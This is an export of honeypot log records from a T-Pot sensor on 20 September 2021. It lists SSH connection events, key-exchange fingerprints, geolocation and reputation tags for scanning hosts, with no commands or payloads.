22429	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:02.120024+03	2021-09-20 14:15:06.201471+03	{"_id": "7gbjAnwBvYTbRNuETQVd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38964, "timestamp": "2021-09-20T11:07:02.120024", "@timestamp": "2021-09-20T11:07:02.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22430	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:02.331836+03	2021-09-20 14:15:06.205469+03	{"_id": "_gbjAnwBvYTbRNuETQVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "9d8dc00085e5", "@version": "1", "duration": 2.7843122482299805, "timestamp": "2021-09-20T11:07:02.331836Z", "@timestamp": "2021-09-20T11:07:02.331Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22431	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:02.33481+03	2021-09-20 14:15:06.20647+03	{"_id": "7wbjAnwBvYTbRNuETQVd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38404, "timestamp": "2021-09-20T11:07:02.334810", "@timestamp": "2021-09-20T11:07:02.334Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22442	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:05.020503+03	2021-09-20 14:15:06.22047+03	{"_id": "kgbjAnwBvYTbRNuEVQYs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:56826 (192.168.176.2:22) [session: 53556f190532]", "session": "53556f190532", "@version": "1", "protocol": "ssh", "src_port": 56826, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.020503Z", "@timestamp": "2021-09-20T11:07:05.020Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22432	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:02.753647+03	2021-09-20 14:15:06.208471+03	{"_id": "_wbjAnwBvYTbRNuETQVg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "14f3cef08498", "@version": "1", "timestamp": "2021-09-20T11:07:02.753647Z", "@timestamp": "2021-09-20T11:07:02.753Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22433	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:04.056744+03	2021-09-20 14:15:06.20947+03	{"_id": "XgbjAnwBvYTbRNuEUwbC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2147992255044999, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45902, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.056744Z", "@timestamp": "2021-09-20T11:07:04.056Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22434	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:04.30585+03	2021-09-20 14:15:06.210471+03	{"_id": "XQbjAnwBvYTbRNuEUwbB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2052455002497686, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33428, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.305850Z", "@timestamp": "2021-09-20T11:07:04.305Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22435	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.391432+03	2021-09-20 14:15:06.21247+03	{"_id": "YQbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57046 (192.168.176.2:22) [session: 5a7cfe368c62]", "session": "5a7cfe368c62", "@version": "1", "protocol": "ssh", "src_port": 57046, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.391432Z", "@timestamp": "2021-09-20T11:07:04.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22436	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.812895+03	2021-09-20 14:15:06.21347+03	{"_id": "YgbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:33828 (192.168.176.2:22) [session: e7bc5122699b]", "session": "e7bc5122699b", "@version": "1", "protocol": "ssh", "src_port": 33828, "dest_port": 22, "timestamp": "2021-09-20T11:07:04.812895Z", "@timestamp": "2021-09-20T11:07:04.812Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22437	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.306269+03	2021-09-20 14:15:06.214471+03	{"_id": "cAbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "76c7f33eac55", "@version": "1", "timestamp": "2021-09-20T11:07:04.306269Z", "@timestamp": "2021-09-20T11:07:04.306Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22438	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.265783+03	2021-09-20 14:15:06.215471+03	{"_id": "aAbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e630dcd0d392", "@version": "1", "timestamp": "2021-09-20T11:07:04.265783Z", "@timestamp": "2021-09-20T11:07:04.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22439	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:04.602946+03	2021-09-20 14:15:06.21747+03	{"_id": "aQbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "bb6ee8128784", "@version": "1", "duration": 6.32084846496582, "timestamp": "2021-09-20T11:07:04.602946Z", "@timestamp": "2021-09-20T11:07:04.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22440	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:04.942091+03	2021-09-20 14:15:06.218471+03	{"_id": "agbjAnwBvYTbRNuEVQYq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "14f3cef08498", "@version": "1", "duration": 2.8244473934173584, "timestamp": "2021-09-20T11:07:04.942091Z", "@timestamp": "2021-09-20T11:07:04.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
